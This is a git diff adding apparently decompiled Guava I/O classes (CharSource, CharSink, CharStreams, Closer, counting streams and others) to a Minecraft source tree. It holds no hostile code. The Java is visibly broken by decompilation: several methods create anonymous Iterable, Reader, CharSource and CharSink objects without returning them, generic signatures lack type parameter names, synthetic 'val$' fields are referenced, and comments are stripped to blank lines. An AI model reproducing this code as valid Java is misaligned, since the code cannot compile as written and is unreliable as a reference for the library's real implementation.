+import java.nio.CharBuffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class CharSequenceReader
+  extends Reader
+{
+  private CharSequence seq;
+  private int pos;
+  private int mark;
+  
+  public CharSequenceReader(CharSequence seq)
+  {
+    this.seq = ((CharSequence)Preconditions.checkNotNull(seq));
+  }
+  
+  private void checkOpen() throws IOException {
+    if (seq == null) {
+      throw new IOException("reader closed");
+    }
+  }
+  
+  private boolean hasRemaining() {
+    return remaining() > 0;
+  }
+  
+  private int remaining() {
+    return seq.length() - pos;
+  }
+  
+  public synchronized int read(CharBuffer target) throws IOException
+  {
+    Preconditions.checkNotNull(target);
+    checkOpen();
+    if (!hasRemaining()) {
+      return -1;
+    }
+    int charsToRead = Math.min(target.remaining(), remaining());
+    for (int i = 0; i < charsToRead; i++) {
+      target.put(seq.charAt(pos++));
+    }
+    return charsToRead;
+  }
+  
+  public synchronized int read() throws IOException
+  {
+    checkOpen();
+    return hasRemaining() ? seq.charAt(pos++) : -1;
+  }
+  
+  public synchronized int read(char[] cbuf, int off, int len) throws IOException
+  {
+    Preconditions.checkPositionIndexes(off, off + len, cbuf.length);
+    checkOpen();
+    if (!hasRemaining()) {
+      return -1;
+    }
+    int charsToRead = Math.min(len, remaining());
+    for (int i = 0; i < charsToRead; i++) {
+      cbuf[(off + i)] = seq.charAt(pos++);
+    }
+    return charsToRead;
+  }
+  
+  public synchronized long skip(long n) throws IOException
+  {
+    Preconditions.checkArgument(n >= 0L, "n (%s) may not be negative", new Object[] { Long.valueOf(n) });
+    checkOpen();
+    int charsToSkip = (int)Math.min(remaining(), n);
+    pos += charsToSkip;
+    return charsToSkip;
+  }
+  
+  public synchronized boolean ready() throws IOException
+  {
+    checkOpen();
+    return true;
+  }
+  
+  public boolean markSupported()
+  {
+    return true;
+  }
+  
+  public synchronized void mark(int readAheadLimit) throws IOException
+  {
+    Preconditions.checkArgument(readAheadLimit >= 0, "readAheadLimit (%s) may not be negative", new Object[] { Integer.valueOf(readAheadLimit) });
+    checkOpen();
+    mark = pos;
+  }
+  
+  public synchronized void reset() throws IOException
+  {
+    checkOpen();
+    pos = mark;
+  }
+  
+  public synchronized void close() throws IOException
+  {
+    seq = null;
+  }
+}
diff --git a/src/minecraft/com/google/common/io/CharSink.java b/src/minecraft/com/google/common/io/CharSink.java
new file mode 100644
index 0000000..c192407
--- /dev/null
+++ b/src/minecraft/com/google/common/io/CharSink.java
@@ -0,0 +1,178 @@
+package com.google.common.io;
+
+import com.google.common.base.Preconditions;
+import java.io.BufferedWriter;
+import java.io.IOException;
+import java.io.Writer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class CharSink
+  implements OutputSupplier<Writer>
+{
+  protected CharSink() {}
+  
+  public abstract Writer openStream()
+    throws IOException;
+  
+  @Deprecated
+  public final Writer getOutput()
+    throws IOException
+  {
+    return openStream();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public Writer openBufferedStream()
+    throws IOException
+  {
+    Writer writer = openStream();
+    return (writer instanceof BufferedWriter) ? (BufferedWriter)writer : new BufferedWriter(writer);
+  }
+  
+
+
+
+
+
+  public void write(CharSequence charSequence)
+    throws IOException
+  {
+    Preconditions.checkNotNull(charSequence);
+    
+    Closer closer = Closer.create();
+    try {
+      Writer out = (Writer)closer.register(openStream());
+      out.append(charSequence);
+      out.flush();
+    } catch (Throwable e) {
+      throw closer.rethrow(e);
+    } finally {
+      closer.close();
+    }
+  }
+  
+
+
+
+
+
+  public void writeLines(Iterable<? extends CharSequence> lines)
+    throws IOException
+  {
+    writeLines(lines, System.getProperty("line.separator"));
+  }
+  
+
+
+
+
+
+  public void writeLines(Iterable<? extends CharSequence> lines, String lineSeparator)
+    throws IOException
+  {
+    Preconditions.checkNotNull(lines);
+    Preconditions.checkNotNull(lineSeparator);
+    
+    Closer closer = Closer.create();
+    try {
+      Writer out = (Writer)closer.register(openBufferedStream());
+      for (CharSequence line : lines) {
+        out.append(line).append(lineSeparator);
+      }
+      out.flush();
+    } catch (Throwable e) {
+      throw closer.rethrow(e);
+    } finally {
+      closer.close();
+    }
+  }
+  
+
+
+
+
+
+  public long writeFrom(Readable readable)
+    throws IOException
+  {
+    Preconditions.checkNotNull(readable);
+    
+    Closer closer = Closer.create();
+    try {
+      Writer out = (Writer)closer.register(openStream());
+      long written = CharStreams.copy(readable, out);
+      out.flush();
+      return written;
+    } catch (Throwable e) {
+      throw closer.rethrow(e);
+    } finally {
+      closer.close();
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/io/CharSource.java b/src/minecraft/com/google/common/io/CharSource.java
new file mode 100644
index 0000000..45cf5ab
--- /dev/null
+++ b/src/minecraft/com/google/common/io/CharSource.java
@@ -0,0 +1,463 @@
+package com.google.common.io;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Ascii;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Splitter;
+import com.google.common.collect.AbstractIterator;
+import com.google.common.collect.ImmutableList;
+import com.google.common.collect.Lists;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.Reader;
+import java.io.Writer;
+import java.util.Iterator;
+import java.util.List;
+import java.util.regex.Pattern;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class CharSource
+  implements InputSupplier<Reader>
+{
+  protected CharSource() {}
+  
+  public abstract Reader openStream()
+    throws IOException;
+  
+  @Deprecated
+  public final Reader getInput()
+    throws IOException
+  {
+    return openStream();
+  }
+  
+
+
+
+
+
+
+  public BufferedReader openBufferedStream()
+    throws IOException
+  {
+    Reader reader = openStream();
+    return (reader instanceof BufferedReader) ? (BufferedReader)reader : new BufferedReader(reader);
+  }
+  
+
+
+
+
+
+
+
+  public long copyTo(Appendable appendable)
+    throws IOException
+  {
+    Preconditions.checkNotNull(appendable);
+    
+    Closer closer = Closer.create();
+    try {
+      Reader reader = (Reader)closer.register(openStream());
+      return CharStreams.copy(reader, appendable);
+    } catch (Throwable e) {
+      throw closer.rethrow(e);
+    } finally {
+      closer.close();
+    }
+  }
+  
+
+
+
+
+  public long copyTo(CharSink sink)
+    throws IOException
+  {
+    Preconditions.checkNotNull(sink);
+    
+    Closer closer = Closer.create();
+    try {
+      Reader reader = (Reader)closer.register(openStream());
+      Writer writer = (Writer)closer.register(sink.openStream());
+      return CharStreams.copy(reader, writer);
+    } catch (Throwable e) {
+      throw closer.rethrow(e);
+    } finally {
+      closer.close();
+    }
+  }
+  
+
+
+
+  public String read()
+    throws IOException
+  {
+    Closer closer = Closer.create();
+    try {
+      Reader reader = (Reader)closer.register(openStream());
+      return CharStreams.toString(reader);
+    } catch (Throwable e) {
+      throw closer.rethrow(e);
+    } finally {
+      closer.close();
+    }
+  }
+  
+
+
+
+
+
+
+  @Nullable
+  public String readFirstLine()
+    throws IOException
+  {
+    Closer closer = Closer.create();
+    try {
+      BufferedReader reader = (BufferedReader)closer.register(openBufferedStream());
+      return reader.readLine();
+    } catch (Throwable e) {
+      throw closer.rethrow(e);
+    } finally {
+      closer.close();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public ImmutableList<String> readLines()
+    throws IOException
+  {
+    Closer closer = Closer.create();
+    try {
+      BufferedReader reader = (BufferedReader)closer.register(openBufferedStream());
+      List<String> result = Lists.newArrayList();
+      String line;
+      while ((line = reader.readLine()) != null) {
+        result.add(line);
+      }
+      return ImmutableList.copyOf(result);
+    } catch (Throwable e) {
+      throw closer.rethrow(e);
+    } finally {
+      closer.close();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public <T> T readLines(LineProcessor<T> processor)
+    throws IOException
+  {
+    Preconditions.checkNotNull(processor);
+    
+    Closer closer = Closer.create();
+    try {
+      Reader reader = (Reader)closer.register(openStream());
+      return CharStreams.readLines(reader, processor);
+    } catch (Throwable e) {
+      throw closer.rethrow(e);
+    } finally {
+      closer.close();
+    }
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+    throws IOException
+  {
+    Closer closer = Closer.create();
+    try {
+      Reader reader = (Reader)closer.register(openStream());
+      return reader.read() == -1;
+    } catch (Throwable e) {
+      throw closer.rethrow(e);
+    } finally {
+      closer.close();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static CharSource concat(Iterable<? extends CharSource> sources)
+  {
+    return new ConcatenatedCharSource(sources);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static CharSource concat(Iterator<? extends CharSource> sources)
+  {
+    return concat(ImmutableList.copyOf(sources));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static CharSource concat(CharSource... sources)
+  {
+    return concat(ImmutableList.copyOf(sources));
+  }
+  
+
+
+
+
+
+
+  public static CharSource wrap(CharSequence charSequence)
+  {
+    return new CharSequenceCharSource(charSequence);
+  }
+  
+
+
+
+
+  public static CharSource empty()
+  {
+    return EmptyCharSource.INSTANCE;
+  }
+  
+  private static class CharSequenceCharSource extends CharSource
+  {
+    private static final Splitter LINE_SPLITTER = Splitter.on(Pattern.compile("\r\n|\n|\r"));
+    
+    private final CharSequence seq;
+    
+    protected CharSequenceCharSource(CharSequence seq)
+    {
+      this.seq = ((CharSequence)Preconditions.checkNotNull(seq));
+    }
+    
+    public Reader openStream()
+    {
+      return new CharSequenceReader(seq);
+    }
+    
+    public String read()
+    {
+      return seq.toString();
+    }
+    
+    public boolean isEmpty()
+    {
+      return seq.length() == 0;
+    }
+    
+
+
+
+
+    private Iterable<String> lines()
+    {
+      new Iterable()
+      {
+        public Iterator<String> iterator() {
+          new AbstractIterator() {
+            Iterator<String> lines = CharSource.CharSequenceCharSource.LINE_SPLITTER.split(seq).iterator();
+            
+            protected String computeNext()
+            {
+              if (lines.hasNext()) {
+                String next = (String)lines.next();
+                
+                if ((lines.hasNext()) || (!next.isEmpty())) {
+                  return next;
+                }
+              }
+              return (String)endOfData();
+            }
+          };
+        }
+      };
+    }
+    
+    public String readFirstLine()
+    {
+      Iterator<String> lines = lines().iterator();
+      return lines.hasNext() ? (String)lines.next() : null;
+    }
+    
+    public ImmutableList<String> readLines()
+    {
+      return ImmutableList.copyOf(lines());
+    }
+    
+    public <T> T readLines(LineProcessor<T> processor) throws IOException
+    {
+      for (String line : lines()) {
+        if (!processor.processLine(line)) {
+          break;
+        }
+      }
+      return processor.getResult();
+    }
+    
+    public String toString()
+    {
+      return "CharSource.wrap(" + Ascii.truncate(seq, 30, "...") + ")";
+    }
+  }
+  
+  private static final class EmptyCharSource extends CharSource.CharSequenceCharSource
+  {
+    private static final EmptyCharSource INSTANCE = new EmptyCharSource();
+    
+    private EmptyCharSource() {
+      super();
+    }
+    
+    public String toString()
+    {
+      return "CharSource.empty()";
+    }
+  }
+  
+  private static final class ConcatenatedCharSource extends CharSource
+  {
+    private final Iterable<? extends CharSource> sources;
+    
+    ConcatenatedCharSource(Iterable<? extends CharSource> sources) {
+      this.sources = ((Iterable)Preconditions.checkNotNull(sources));
+    }
+    
+    public Reader openStream() throws IOException
+    {
+      return new MultiReader(sources.iterator());
+    }
+    
+    public boolean isEmpty() throws IOException
+    {
+      for (CharSource source : sources) {
+        if (!source.isEmpty()) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public String toString()
+    {
+      return "CharSource.concat(" + sources + ")";
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/io/CharStreams.java b/src/minecraft/com/google/common/io/CharStreams.java
new file mode 100644
index 0000000..e475571
--- /dev/null
+++ b/src/minecraft/com/google/common/io/CharStreams.java
@@ -0,0 +1,607 @@
+package com.google.common.io;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Function;
+import com.google.common.base.Preconditions;
+import com.google.common.collect.Iterables;
+import java.io.Closeable;
+import java.io.EOFException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.io.OutputStreamWriter;
+import java.io.Reader;
+import java.io.StringReader;
+import java.io.Writer;
+import java.nio.CharBuffer;
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class CharStreams
+{
+  private static final int BUF_SIZE = 2048;
+  
+  private CharStreams() {}
+  
+  @Deprecated
+  public static InputSupplier<StringReader> newReaderSupplier(String value)
+  {
+    return asInputSupplier(CharSource.wrap(value));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static InputSupplier<InputStreamReader> newReaderSupplier(InputSupplier<? extends InputStream> in, Charset charset)
+  {
+    return asInputSupplier(ByteStreams.asByteSource(in).asCharSource(charset));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static OutputSupplier<OutputStreamWriter> newWriterSupplier(OutputSupplier<? extends OutputStream> out, Charset charset)
+  {
+    return asOutputSupplier(ByteStreams.asByteSink(out).asCharSink(charset));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <W extends Appendable,  extends Closeable> void write(CharSequence from, OutputSupplier<W> to)
+    throws IOException
+  {
+    asCharSink(to).write(from);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <R extends Readable,  extends Closeable, W extends Appendable,  extends Closeable> long copy(InputSupplier<R> from, OutputSupplier<W> to)
+    throws IOException
+  {
+    return asCharSource(from).copyTo(asCharSink(to));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <R extends Readable,  extends Closeable> long copy(InputSupplier<R> from, Appendable to)
+    throws IOException
+  {
+    return asCharSource(from).copyTo(to);
+  }
+  
+
+
+
+
+
+
+
+  public static long copy(Readable from, Appendable to)
+    throws IOException
+  {
+    Preconditions.checkNotNull(from);
+    Preconditions.checkNotNull(to);
+    CharBuffer buf = CharBuffer.allocate(2048);
+    long total = 0L;
+    while (from.read(buf) != -1) {
+      buf.flip();
+      to.append(buf);
+      total += buf.remaining();
+      buf.clear();
+    }
+    return total;
+  }
+  
+
+
+
+
+
+
+  public static String toString(Readable r)
+    throws IOException
+  {
+    return toStringBuilder(r).toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <R extends Readable,  extends Closeable> String toString(InputSupplier<R> supplier)
+    throws IOException
+  {
+    return asCharSource(supplier).read();
+  }
+  
+
+
+
+
+
+
+  private static StringBuilder toStringBuilder(Readable r)
+    throws IOException
+  {
+    StringBuilder sb = new StringBuilder();
+    copy(r, sb);
+    return sb;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <R extends Readable,  extends Closeable> String readFirstLine(InputSupplier<R> supplier)
+    throws IOException
+  {
+    return asCharSource(supplier).readFirstLine();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <R extends Readable,  extends Closeable> List<String> readLines(InputSupplier<R> supplier)
+    throws IOException
+  {
+    Closer closer = Closer.create();
+    try {
+      R r = (Readable)closer.register((Closeable)supplier.getInput());
+      return readLines(r);
+    } catch (Throwable e) {
+      throw closer.rethrow(e);
+    } finally {
+      closer.close();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static List<String> readLines(Readable r)
+    throws IOException
+  {
+    List<String> result = new ArrayList();
+    LineReader lineReader = new LineReader(r);
+    String line;
+    while ((line = lineReader.readLine()) != null) {
+      result.add(line);
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <T> T readLines(Readable readable, LineProcessor<T> processor)
+    throws IOException
+  {
+    Preconditions.checkNotNull(readable);
+    Preconditions.checkNotNull(processor);
+    
+    LineReader lineReader = new LineReader(readable);
+    String line;
+    while ((line = lineReader.readLine()) != null) {
+      if (!processor.processLine(line)) {
+        break;
+      }
+    }
+    return processor.getResult();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static <R extends Readable,  extends Closeable, T> T readLines(InputSupplier<R> supplier, LineProcessor<T> callback)
+    throws IOException
+  {
+    Preconditions.checkNotNull(supplier);
+    Preconditions.checkNotNull(callback);
+    
+    Closer closer = Closer.create();
+    try {
+      R r = (Readable)closer.register((Closeable)supplier.getInput());
+      return readLines(r, callback);
+    } catch (Throwable e) {
+      throw closer.rethrow(e);
+    } finally {
+      closer.close();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static InputSupplier<Reader> join(Iterable<? extends InputSupplier<? extends Reader>> suppliers)
+  {
+    Preconditions.checkNotNull(suppliers);
+    Iterable<CharSource> sources = Iterables.transform(suppliers, new Function()
+    {
+      public CharSource apply(InputSupplier<? extends Reader> input)
+      {
+        return CharStreams.asCharSource(input);
+      }
+    });
+    return asInputSupplier(CharSource.concat(sources));
+  }
+  
+
+
+
+
+
+
+
+  @Deprecated
+  public static InputSupplier<Reader> join(InputSupplier<? extends Reader>... suppliers)
+  {
+    return join(Arrays.asList(suppliers));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static void skipFully(Reader reader, long n)
+    throws IOException
+  {
+    Preconditions.checkNotNull(reader);
+    while (n > 0L) {
+      long amt = reader.skip(n);
+      if (amt == 0L)
+      {
+        if (reader.read() == -1) {
+          throw new EOFException();
+        }
+        n -= 1L;
+      } else {
+        n -= amt;
+      }
+    }
+  }
+  
+
+
+
+
+  public static Writer nullWriter()
+  {
+    return NullWriter.INSTANCE;
+  }
+  
+  private static final class NullWriter extends Writer
+  {
+    private static final NullWriter INSTANCE = new NullWriter();
+    
+    private NullWriter() {}
+    
+    public void write(int c) {}
+    
+    public void write(char[] cbuf)
+    {
+      Preconditions.checkNotNull(cbuf);
+    }
+    
+    public void write(char[] cbuf, int off, int len)
+    {
+      Preconditions.checkPositionIndexes(off, off + len, cbuf.length);
+    }
+    
+    public void write(String str)
+    {
+      Preconditions.checkNotNull(str);
+    }
+    
+    public void write(String str, int off, int len)
+    {
+      Preconditions.checkPositionIndexes(off, off + len, str.length());
+    }
+    
+    public Writer append(CharSequence csq)
+    {
+      Preconditions.checkNotNull(csq);
+      return this;
+    }
+    
+    public Writer append(CharSequence csq, int start, int end)
+    {
+      Preconditions.checkPositionIndexes(start, end, csq.length());
+      return this;
+    }
+    
+    public Writer append(char c)
+    {
+      return this;
+    }
+    
+
+
+    public void flush() {}
+    
+
+    public void close() {}
+    
+
+    public String toString()
+    {
+      return "CharStreams.nullWriter()";
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static Writer asWriter(Appendable target)
+  {
+    if ((target instanceof Writer)) {
+      return (Writer)target;
+    }
+    return new AppendableWriter(target);
+  }
+  
+
+  static Reader asReader(Readable readable)
+  {
+    Preconditions.checkNotNull(readable);
+    if ((readable instanceof Reader)) {
+      return (Reader)readable;
+    }
+    new Reader()
+    {
+      public int read(char[] cbuf, int off, int len) throws IOException {
+        return read(CharBuffer.wrap(cbuf, off, len));
+      }
+      
+      public int read(CharBuffer target) throws IOException
+      {
+        return val$readable.read(target);
+      }
+      
+      public void close() throws IOException
+      {
+        if ((val$readable instanceof Closeable)) {
+          ((Closeable)val$readable).close();
+        }
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static CharSource asCharSource(InputSupplier<? extends Readable> supplier)
+  {
+    Preconditions.checkNotNull(supplier);
+    new CharSource()
+    {
+      public Reader openStream() throws IOException {
+        return CharStreams.asReader((Readable)val$supplier.getInput());
+      }
+      
+      public String toString()
+      {
+        return "CharStreams.asCharSource(" + val$supplier + ")";
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static CharSink asCharSink(OutputSupplier<? extends Appendable> supplier)
+  {
+    Preconditions.checkNotNull(supplier);
+    new CharSink()
+    {
+      public Writer openStream() throws IOException {
+        return CharStreams.asWriter((Appendable)val$supplier.getOutput());
+      }
+      
+      public String toString()
+      {
+        return "CharStreams.asCharSink(" + val$supplier + ")";
+      }
+    };
+  }
+  
+
+  static <R extends Reader> InputSupplier<R> asInputSupplier(CharSource source)
+  {
+    return (InputSupplier)Preconditions.checkNotNull(source);
+  }
+  
+
+  static <W extends Writer> OutputSupplier<W> asOutputSupplier(CharSink sink)
+  {
+    return (OutputSupplier)Preconditions.checkNotNull(sink);
+  }
+}
diff --git a/src/minecraft/com/google/common/io/Closeables.java b/src/minecraft/com/google/common/io/Closeables.java
new file mode 100644
index 0000000..6a6f78c
--- /dev/null
+++ b/src/minecraft/com/google/common/io/Closeables.java
@@ -0,0 +1,132 @@
+package com.google.common.io;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.VisibleForTesting;
+import java.io.Closeable;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.Reader;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class Closeables
+{
+  @VisibleForTesting
+  static final Logger logger = Logger.getLogger(Closeables.class.getName());
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private Closeables() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static void close(@Nullable Closeable closeable, boolean swallowIOException)
+    throws IOException
+  {
+    if (closeable == null) {
+      return;
+    }
+    try {
+      closeable.close();
+    } catch (IOException e) {
+      if (swallowIOException) {
+        logger.log(Level.WARNING, "IOException thrown while closing Closeable.", e);
+      }
+      else {
+        throw e;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static void closeQuietly(@Nullable InputStream inputStream)
+  {
+    try
+    {
+      close(inputStream, true);
+    } catch (IOException impossible) {
+      throw new AssertionError(impossible);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static void closeQuietly(@Nullable Reader reader)
+  {
+    try
+    {
+      close(reader, true);
+    } catch (IOException impossible) {
+      throw new AssertionError(impossible);
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/io/Closer.java b/src/minecraft/com/google/common/io/Closer.java
new file mode 100644
index 0000000..f9a5153
--- /dev/null
+++ b/src/minecraft/com/google/common/io/Closer.java
@@ -0,0 +1,293 @@
+package com.google.common.io;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Throwables;
+import java.io.Closeable;
+import java.io.IOException;
+import java.lang.reflect.Method;
+import java.util.ArrayDeque;
+import java.util.Deque;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class Closer
+  implements Closeable
+{
+  private static final Suppressor SUPPRESSOR = SuppressingSuppressor.isAvailable() ? SuppressingSuppressor.INSTANCE : LoggingSuppressor.INSTANCE;
+  
+  @VisibleForTesting
+  final Suppressor suppressor;
+  
+
+  public static Closer create()
+  {
+    return new Closer(SUPPRESSOR);
+  }
+  
+
+
+
+  private final Deque<Closeable> stack = new ArrayDeque(4);
+  private Throwable thrown;
+  
+  @VisibleForTesting
+  Closer(Suppressor suppressor) { this.suppressor = ((Suppressor)Preconditions.checkNotNull(suppressor)); }
+  
+
+
+
+
+
+
+
+  public <C extends Closeable> C register(@Nullable C closeable)
+  {
+    if (closeable != null) {
+      stack.addFirst(closeable);
+    }
+    
+    return closeable;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public RuntimeException rethrow(Throwable e)
+    throws IOException
+  {
+    Preconditions.checkNotNull(e);
+    thrown = e;
+    Throwables.propagateIfPossible(e, IOException.class);
+    throw new RuntimeException(e);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <X extends Exception> RuntimeException rethrow(Throwable e, Class<X> declaredType)
+    throws IOException, Exception
+  {
+    Preconditions.checkNotNull(e);
+    thrown = e;
+    Throwables.propagateIfPossible(e, IOException.class);
+    Throwables.propagateIfPossible(e, declaredType);
+    throw new RuntimeException(e);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <X1 extends Exception, X2 extends Exception> RuntimeException rethrow(Throwable e, Class<X1> declaredType1, Class<X2> declaredType2)
+    throws IOException, Exception, Exception
+  {
+    Preconditions.checkNotNull(e);
+    thrown = e;
+    Throwables.propagateIfPossible(e, IOException.class);
+    Throwables.propagateIfPossible(e, declaredType1, declaredType2);
+    throw new RuntimeException(e);
+  }
+  
+
+
+
+
+
+
+  public void close()
+    throws IOException
+  {
+    Throwable throwable = thrown;
+    
+
+    while (!stack.isEmpty()) {
+      Closeable closeable = (Closeable)stack.removeFirst();
+      try {
+        closeable.close();
+      } catch (Throwable e) {
+        if (throwable == null) {
+          throwable = e;
+        } else {
+          suppressor.suppress(closeable, throwable, e);
+        }
+      }
+    }
+    
+    if ((thrown == null) && (throwable != null)) {
+      Throwables.propagateIfPossible(throwable, IOException.class);
+      throw new AssertionError(throwable);
+    }
+  }
+  
+
+
+
+
+  @VisibleForTesting
+  static abstract interface Suppressor
+  {
+    public abstract void suppress(Closeable paramCloseable, Throwable paramThrowable1, Throwable paramThrowable2);
+  }
+  
+
+
+
+  @VisibleForTesting
+  static final class LoggingSuppressor
+    implements Closer.Suppressor
+  {
+    static final LoggingSuppressor INSTANCE = new LoggingSuppressor();
+    
+    LoggingSuppressor() {}
+    
+    public void suppress(Closeable closeable, Throwable thrown, Throwable suppressed) {
+      Closeables.logger.log(Level.WARNING, "Suppressing exception thrown when closing " + closeable, suppressed);
+    }
+  }
+  
+
+  @VisibleForTesting
+  static final class SuppressingSuppressor
+    implements Closer.Suppressor
+  {
+    SuppressingSuppressor() {}
+    
+    static final SuppressingSuppressor INSTANCE = new SuppressingSuppressor();
+    
+    static boolean isAvailable() {
+      return addSuppressed != null; }
+    
+
+    static final Method addSuppressed = getAddSuppressed();
+    
+    private static Method getAddSuppressed() {
+      try {
+        return Throwable.class.getMethod("addSuppressed", new Class[] { Throwable.class });
+      } catch (Throwable e) {}
+      return null;
+    }
+    
+
+
+    public void suppress(Closeable closeable, Throwable thrown, Throwable suppressed)
+    {
+      if (thrown == suppressed) {
+        return;
+      }
+      try {
+        addSuppressed.invoke(thrown, new Object[] { suppressed });
+      }
+      catch (Throwable e) {
+        Closer.LoggingSuppressor.INSTANCE.suppress(closeable, thrown, suppressed);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/io/CountingInputStream.java b/src/minecraft/com/google/common/io/CountingInputStream.java
new file mode 100644
index 0000000..df960e3
--- /dev/null
+++ b/src/minecraft/com/google/common/io/CountingInputStream.java
@@ -0,0 +1,92 @@
+package com.google.common.io;
+
+import com.google.common.annotations.Beta;
+import java.io.FilterInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class CountingInputStream
+  extends FilterInputStream
+{
+  private long count;
+  private long mark = -1L;
+  
+
+
+
+
+  public CountingInputStream(@Nullable InputStream in)
+  {
+    super(in);
+  }
+  
+  public long getCount()
+  {
+    return count;
+  }
+  
+  public int read() throws IOException {
+    int result = in.read();
+    if (result != -1) {
+      count += 1L;
+    }
+    return result;
+  }
+  
+  public int read(byte[] b, int off, int len) throws IOException {
+    int result = in.read(b, off, len);
+    if (result != -1) {
+      count += result;
+    }
+    return result;
+  }
+  
+  public long skip(long n) throws IOException {
+    long result = in.skip(n);
+    count += result;
+    return result;
+  }
+  
+  public synchronized void mark(int readlimit) {
+    in.mark(readlimit);
+    mark = count;
+  }
+  
+  public synchronized void reset() throws IOException
+  {
+    if (!in.markSupported()) {
+      throw new IOException("Mark not supported");
+    }
+    if (mark == -1L) {
+      throw new IOException("Mark not set");
+    }
+    
+    in.reset();
+    count = mark;
+  }
+}
diff --git a/src/minecraft/com/google/common/io/CountingOutputStream.java b/src/minecraft/com/google/common/io/CountingOutputStream.java
new file mode 100644
index 0000000..37a09fc
--- /dev/null
+++ b/src/minecraft/com/google/common/io/CountingOutputStream.java
@@ -0,0 +1,68 @@
+package com.google.common.io;
+
+import com.google.common.annotations.Beta;
+import java.io.FilterOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class CountingOutputStream
+  extends FilterOutputStream
+{
+  private long count;
+  
+  public CountingOutputStream(@Nullable OutputStream out)
+  {
+    super(out);
+  }
+  
+  public long getCount()
+  {
+    return count;
+  }
+  
+  public void write(byte[] b, int off, int len) throws IOException {
+    out.write(b, off, len);
+    count += len;
+  }
+  
+  public void write(int b) throws IOException {
+    out.write(b);
+    count += 1L;
+  }
+  
+
+  public void close()
+    throws IOException
+  {
+    out.close();
+  }
+}
